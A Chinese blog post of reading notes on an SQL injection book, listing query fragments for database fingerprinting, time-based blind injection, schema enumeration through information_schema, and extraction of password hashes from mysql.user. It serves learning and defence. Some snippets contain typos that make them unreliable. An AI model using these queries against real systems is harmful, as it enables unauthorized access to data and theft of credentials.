博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SQL注入攻击与防御第二版读书笔记——利用SQL注入
阅读量:7072 次
发布时间:2019-06-28

本文共 1338 字,大约阅读时间需要 4 分钟。

获取标志信息

mysql select version(),select @@version

mssql select @@version,@@servername,@@language,@@spid

postgre select version()

 

盲跟踪

从字符串推断数据库

mysql select 'so'   'me'

mssql select 'so'+'me'

oracle select 'so'||'me'

postgre select 'so'||'me'

从数字推断数据库

mysql raw_count(0

mssql @@rawcount

使用数据库“方言”推断数据库

mysql select 1 /*! + 1 */

 

使用union语句提取数据

order by确定列数

强制转换为字符串

mssql select cast('123' as varchar)

mysql select cast('123' as char)

 

使用条件语句

mssql if('a'='a') select 1 else select 2

mysql select if('a',1,2)

基于时间

mssql if(system_user = 'sa') waitfor delay '0:0:5' --

mysql select benchmark(1000000,sha1('hello')) 

如果mysql 版本在5.0.12以上

select sleep(5) 

 

case语句

case when sth then sth else sth end

 

枚举数据库模式

获取所有数据库 select schema_name from information_shcema.shcemata;

提取一个数据库中所有表 select table_schema,table_name from information_schema.tables where table_schema='db';

如果想获取所有表 只需省略where子句  select table_schema,table_name from information_schema.tables where table_schema !='mysql' and table_schema != 'information_schema';

select table_schema,table_name,column_name from information_schema.columns where table_schema != 'mysql' and table_schema != 'information_schema';

获取用户权限

 select grantee,privilege_type,is_grantable from information_schema.user_privileges;

 

窃取哈希口令

select user,password from mysql.user

 

转载于:https://www.cnblogs.com/yiruhua/p/5855192.html

你可能感兴趣的文章
ConcurrentDictionary与Dictionary
查看>>
Atom Remote-FTP connecting FTP with SSL/TLS
查看>>
《代码大全》阅读笔记-27-程序规模对构建的影响
查看>>
What is R语言
查看>>
【给你一个承诺 - 玩转 AngularJS 的 Promise】
查看>>
P4962 朋也与光玉
查看>>
关于flash cs4意外退出的问题
查看>>
一道笔试指针题目详解
查看>>
easyui datagrid 绑定从后台得到的复杂的特殊数据结构
查看>>
makefile 字符串处理函数
查看>>
Class Prefix(Xcode6以后设置类前缀)
查看>>
(转载)创业型公司如何管理-吸引人才
查看>>
Oracle Spool教程
查看>>
通过jQuery实现的百叶窗效果
查看>>
设置文本显示为2行,溢出隐藏后以省略号结尾
查看>>
Sequelize-nodejs-13-Working with legacy tables
查看>>
virtualbox+vagrant学习-2(command cli)-1-vagrant box命令
查看>>
数据库相关
查看>>
转:推荐一个包:Hashids,用来把整数生成唯一字符串(比如:通过加密解密id来隐藏真实id)...
查看>>
参考学习
查看>>